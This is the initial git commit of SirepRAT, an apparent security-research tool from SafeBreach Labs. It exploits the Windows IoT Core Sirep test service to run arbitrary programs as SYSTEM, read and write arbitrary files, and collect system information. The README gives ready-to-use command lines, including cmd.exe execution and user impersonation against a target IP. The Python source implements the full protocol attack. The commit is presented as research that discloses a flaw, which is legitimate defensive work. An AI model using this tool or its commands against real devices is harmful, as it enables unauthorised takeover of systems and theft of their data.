initial commit

This commit is contained in:
Dor Azouri
2019-03-02 14:52:56 -05:00
commit 21de99cc00
35 changed files with 1890 additions and 0 deletions
+2
View File
@@ -0,0 +1,2 @@
*.pyc
.idea
+61
View File
@@ -0,0 +1,61 @@
# SirepRAT - RCE as SYSTEM on Windows IoT Core
**SirepRAT** Features full RAT capabilities without the need of writing a real RAT malware on target.
## Context
The method is exploiting the Sirep Test Service thats built in and running on the official images offered at Microsofts site. This service is the client part of the HLK setup one may build in order to perform driver/hardware tests on the IoT device. It serves the Sirep/WPCon/TShell protocol.
We broke down the Sirep/WPCon protocol and demonstrated how this protocol exposes a remote command interface for attackers, that include RAT abilities such as get/put arbitrary files on arbitrary locations and obtain system information.
Based on the findings we have extracted from this research about the service and protocol, we built a simple python tool that allows exploiting them using the different supported commands. We called it SirepRAT.
It features an easy and intuitive user interface for sending commands to a Windows IoT Core target. It works on any cable-connected device running Windows IoT Core with an official Microsoft image.
**The research white paper can be found** [**here**](https://safebreach.com/blog)
## Usage
#### Download File
```bash
python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" -v
```
#### Upload File
```bash
python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"
```
#### Run Arbitrary Program
```bash
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"
```
With arguments, impersonated as the currently logged on user:
```bash
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"
```
(Try to run it without the _as_logged_on_user_ flag to demonstrate the SYSTEM execution capability)
#### Get System Information
```bash
python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice
```
#### Get File Information
```bash
python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"
```
#### See help for full details:
```bash
python SirepRAT.py --help
```
## Authors
**Dor Azouri** (@bemikre)
## License
[BSD 3](https://github.com/SafeBreach-Labs/AltFS/blob/master/LICENSE) - clause "New" or "Revised" License
+246
View File
@@ -0,0 +1,246 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
File: SirepRAT.py
Purpose: Exploit Windows IoT Core's Sirep service to execute remote commands on the device
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-08-19 08:03:08
"""
import argparse
import logging
import socket
import string
import struct
import sys
import hexdump
from common.constants import SIREP_VERSION_GUID_LEN, LOGGING_FORMAT, LOGGING_LEVEL, SIREP_PORT, INT_SIZE, \
LOGGING_DATA_TRUNCATION
from common.enums.CommandType import CommandType
from common.mappings import SIREP_COMMANDS, RESULT_TYPE_TO_RESULT
# Initialize logging
logging.basicConfig(format=LOGGING_FORMAT, level=LOGGING_LEVEL)
def get_command_ctor_arguments(sirep_command_type, args):
command_args = []
if sirep_command_type == CommandType.LaunchCommandWithOutput:
command_args = [
args.return_output,
args.cmd,
args.as_logged_on_user,
args.args,
args.base_directory
]
elif sirep_command_type == CommandType.PutFileOnDevice:
command_args = [
args.remote_path,
args.data
]
elif sirep_command_type == CommandType.GetFileFromDevice:
command_args = [
args.remote_path,
]
elif sirep_command_type == CommandType.GetFileInformationFromDevice:
command_args = [
args.remote_path,
]
elif sirep_command_type == CommandType.GetSystemInformationFromDevice:
pass
else:
logging.error("Command type not supported")
command_args = [arg for arg in command_args if arg is not None]
return command_args
def sirep_connect(sock, dst_ip, verbose=False):
# Connect the socket to the port where the server is listening
server_address = (dst_ip, SIREP_PORT)
logging.debug('Connecting to %s port %s' % server_address)
sock.connect(server_address)
# Receive the server version GUID that acts as the service banner
version_guid_banner = sock.recv(SIREP_VERSION_GUID_LEN)
logging.info('Banner hex: %s' % version_guid_banner)
if verbose:
print "RECV:"
hexdump.hexdump(version_guid_banner)
def sirep_send_command(sirep_con_sock, sirep_command, print_printable_data=False, verbose=False):
# generate the commands's payload
sirep_payload = sirep_command.serialize_sirep()
logging.info('Sirep payload hex: %s' % sirep_payload.encode('hex'))
if verbose:
print "SEND:"
hexdump.hexdump(sirep_payload)
# Send the Sirep payload
logging.debug("Sending Sirep payload")
sirep_con_sock.sendall(sirep_payload)
# Receive all result records
result_record_type = -1
records = []
while True:
try:
first_int = sirep_con_sock.recv(0x4)
if first_int == '':
break
result_record_type = int(struct.unpack("I", first_int)[0])
logging.debug("Result record type: %d" % result_record_type)
data_size = int(struct.unpack("I", sirep_con_sock.recv(0x4))[0])
if data_size == 0:
break
logging.debug("Receiving %d bytes" % data_size)
data = sirep_con_sock.recv(data_size)
logging.info("Result record data hex: %s" % data[:LOGGING_DATA_TRUNCATION].encode('hex'))
if verbose:
print "RECV:"
hexdump.hexdump(data)
# If printable, print result record data as is
if print_printable_data and all([x in string.printable for x in data]):
logging.info("Result data readable print:")
print "---------\n%s\n---------" % data
records.append(first_int + data)
except socket.timeout as e:
logging.debug("timeout in command communication. Assuming end of conversation")
break
return records
def main(args):
dst_ip = args.target_device_ip
command_type = args.command_type
sirep_command_type = getattr(CommandType, command_type)
try:
command_args = get_command_ctor_arguments(sirep_command_type, args)
except:
logging.error("Wrong usage. use --help for instructions")
sys.exit()
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
try:
sirep_command_ctor = SIREP_COMMANDS[sirep_command_type]
# create the requested sirep command
try:
sirep_command = sirep_command_ctor(*command_args)
except TypeError:
logging.error("Wrong usage. use --help for instructions")
sys.exit()
sirep_connect(sock, dst_ip, verbose=args.vv)
sirep_result_buffers = sirep_send_command(sock, sirep_command, print_printable_data=args.v or args.vv,
verbose=args.vv)
sirep_results = []
for result_buffer in sirep_result_buffers:
result_type_code = struct.unpack("I", result_buffer[:INT_SIZE])[0]
sirep_result_ctor = RESULT_TYPE_TO_RESULT[result_type_code]
sirep_result = sirep_result_ctor(result_buffer)
print sirep_result
sirep_results.append(sirep_result)
finally:
logging.debug("Closing socket")
sock.close()
return True
if "__main__" == __name__:
available_command_types = [cmd_type.name for cmd_type in CommandType]
example_usage = r'Usage example: python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path ' \
r'C:\Windows\System32\hostname.exe'
command_types_text_block = "available commands:\n*\t%s\n\n" % "\n*\t".join(available_command_types)
remarks_text = "\n\nremarks:\n-\tUse moustaches to wrap remote environment variables to expand (e.g. {{" \
"userprofile}})\n\n"
epilog_help_text = command_types_text_block + remarks_text + example_usage
description_text = "Exploit Windows IoT Core's Sirep service to execute remote commands on the device"
parser = argparse.ArgumentParser(description=description_text,
usage='%(prog)s target_device_ip command_type [options]',
formatter_class=lambda prog: argparse.RawTextHelpFormatter(prog, width=140),
epilog=epilog_help_text)
parser.add_argument('target_device_ip', type=str,
help="The IP address of the target IoT Core device")
parser.add_argument('command_type', type=str,
choices=available_command_types,
help="The Sirep command to use. Available commands are listed below",
metavar='command_type')
parser.add_argument('--return_output', action='store_true', default=False,
help="Set to have the target device return the command output stream")
parser.add_argument('--cmd', type=str,
help="Program path to execute")
parser.add_argument('--as_logged_on_user', action='store_true', default=False,
help="Set to impersonate currently logged on user on the target device")
parser.add_argument('--args', type=str,
help="Arguments string for the program")
parser.add_argument('--base_directory', type=str,
help="The working directory from which to run the desired program")
parser.add_argument('--remote_path', type=str,
help="Path on target device")
parser.add_argument('--data', type=str,
help="Data string to write to file")
parser.add_argument('--v', action='store_true', default=False,
help="Verbose - if printable, print result")
parser.add_argument('--vv', action='store_true', default=False,
help="Very verbose - print socket buffers and more")
args = parser.parse_args()
if args.command_type == CommandType.LaunchCommandWithOutput.name:
if not args.cmd:
parser.error('usage: python SirepRAT.py <target_device_ip> LaunchCommandWithOutput --cmd <program_path> ['
'--args <arguments_srting>] [--return_output] [--as_logged_on_user]')
elif args.command_type == CommandType.PutFileOnDevice.name:
if not args.remote_path:
parser.error('usage: python SirepRAT.py <target_device_ip> PutFileOnDevice --remote_path '
'<remote_destination_path> [--data <data_to_write>]')
elif args.command_type == CommandType.GetFileFromDevice.name:
if not args.remote_path:
parser.error('usage: python SirepRAT.py <target_device_ip> GetFileFromDevice --remote_path <remote_path>')
elif args.command_type == CommandType.GetFileInformationFromDevice.name:
if not args.remote_path:
parser.error('usage: python SirepRAT.py <target_device_ip> GetFileInformationFromDevice --remote_path '
'<remote_path>')
main(args)
+36
View File
@@ -0,0 +1,36 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-08-19 08:03:08
"""
+55
View File
@@ -0,0 +1,55 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Global package constants
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import logging
# logging
LOGGING_FORMAT = "[*] %(levelname)s - %(message)s"
LOGGING_LEVEL = logging.ERROR
LOGGING_DATA_TRUNCATION = 0x64
# Sirep protocol
SIREP_PORT = 29820
SIREP_VERSION_GUID_LEN = 0x10
# struct related
INT_SIZE = 0x4
OS_VERSION_INFO_EX_SIZE = 0x20
FILE_INFORMATION_SIZE = 0x28
# command line usage
TRUE_FLAG_STRINGS = ["1", "true", "yes", "y"]
MOUSTACHE_PREFIX = "{{"
MOUSTACHE_SUFFIX = "}}"
+47
View File
@@ -0,0 +1,47 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Enum for command types exposed by the Sirep service and protocol
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
from enum import Enum
class CommandType(Enum):
LaunchCommandWithOutput = 0x0A
PutFileOnDevice = 0x14
GetFileFromDevice = 0x1E
GetFileInformationFromDevice = 0x3C
GetSystemInformationFromDevice = 0x32
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Enum for result record types returned from the Sirep service
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
from enum import Enum
class ResultRecordType(Enum):
SystemInformation = 0x33
HResult = 0x01
OutputStream = 0x0B
ErrorStream = 0x0C
File = 0x1F
FileInformation = 0x3D
+44
View File
@@ -0,0 +1,44 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Enum for write data record types, used in the PutFileOnDevice command
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
from enum import Enum
class WriteRecordType(Enum):
RegularChunk = 0x15
LastChunk = 0x16
+36
View File
@@ -0,0 +1,36 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
+71
View File
@@ -0,0 +1,71 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Mappings used for main SirepRAT, based on the Sirep protocol
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import types
from enums.CommandType import CommandType
from enums.ResultRecordType import ResultRecordType
from models import commands
from models import results
def _load_sirep_commands(module, base_class, type_enum, suffix_length):
"""Loads all available classes from the given module direcroty"""
_sirep_commands = {}
for symbol_name in dir(module):
symbol = getattr(module, symbol_name)
if not isinstance(symbol, (type, types.ClassType)):
continue
# fill only classes that derive from given base class
if issubclass(symbol, base_class) and \
symbol != base_class:
_sirep_commands[getattr(type_enum, symbol_name[:-suffix_length])] = symbol
return _sirep_commands
# maps available Sirep CommandType to its corresponding command class
SIREP_COMMANDS = _load_sirep_commands(commands, commands.SirepCommand, CommandType, 7)
RESULT_TYPE_TO_RESULT = {
ResultRecordType.SystemInformation.value: results.SystemInformationResult,
ResultRecordType.HResult.value: results.HResultResult,
ResultRecordType.OutputStream.value: results.OutputStreamResult,
ResultRecordType.ErrorStream.value: results.ErrorStreamResult,
ResultRecordType.File.value: results.FileResult,
ResultRecordType.FileInformation.value: results.FileInformationResult,
}
+105
View File
@@ -0,0 +1,105 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Helper functions
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
from datetime import datetime
from common.constants import MOUSTACHE_PREFIX, MOUSTACHE_SUFFIX
# http://support.microsoft.com/kb/167296
EPOCH_FILETIME = 116444736000000000
HUNDRED_NANOSECONDS = 10000000
def string_to_unicode(string_):
"""Converts a given ASCII string to unicode"""
return "".join([c.ljust(2, "\x00") for c in string_])
def pack_string(string_):
"""
Returns given string, binary packed according to the Sirep protocol.
The given ASCII string is converted to the Sirep compatible struct:
-------------------------------------------------
| Integer | Unicode bytes |
-------------------0x4-------------------------len
| length in bytes | Unicode chars |
-------------------------------------------------
"""
return struct.pack("%ss" % (len(string_) * 2), string_to_unicode(string_))
def unpack_string(data):
"""
Returns the packed string as an ASCII string.
Unpacks a binary packed string from a Sirep protocol buffer.
"""
if len(data) < 4:
return ""
string_size = struct.unpack("I", data[:4])[0]
return struct.unpack("%ss" % string_size, data[4:4 + string_size])[0].replace("\x00", "")
def unpack_bytes(data, data_size=None):
"""
"""
if len(data) < 4:
return ""
if data_size is None:
data_size = struct.unpack("I", data[:4])[0]
return struct.unpack("%ss" % data_size, data[4:4 + data_size])[0]
else:
return struct.unpack("%ss" % data_size, data[:data_size])[0]
def moustache_to_env_var(string_):
"""Converts moustaches in the given string to environment variable references"""
return string_.replace(MOUSTACHE_PREFIX, '%').replace(MOUSTACHE_SUFFIX, '%')
def windows_filetime_to_string(windows_filetime_low, windows_filetime_high):
"""Returns a datetime string given a windows FILETIME value"""
windows_filetime = windows_low_high_to_int(windows_filetime_low, windows_filetime_high)
return str(datetime.fromtimestamp((windows_filetime - EPOCH_FILETIME) / HUNDRED_NANOSECONDS))
def windows_low_high_to_int(windows_int_low, windows_int_high):
"""Returns an int given the low and high integers"""
return (windows_int_high << 32) + windows_int_low
+36
View File
@@ -0,0 +1,36 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-08-19 08:03:08
"""
@@ -0,0 +1,77 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
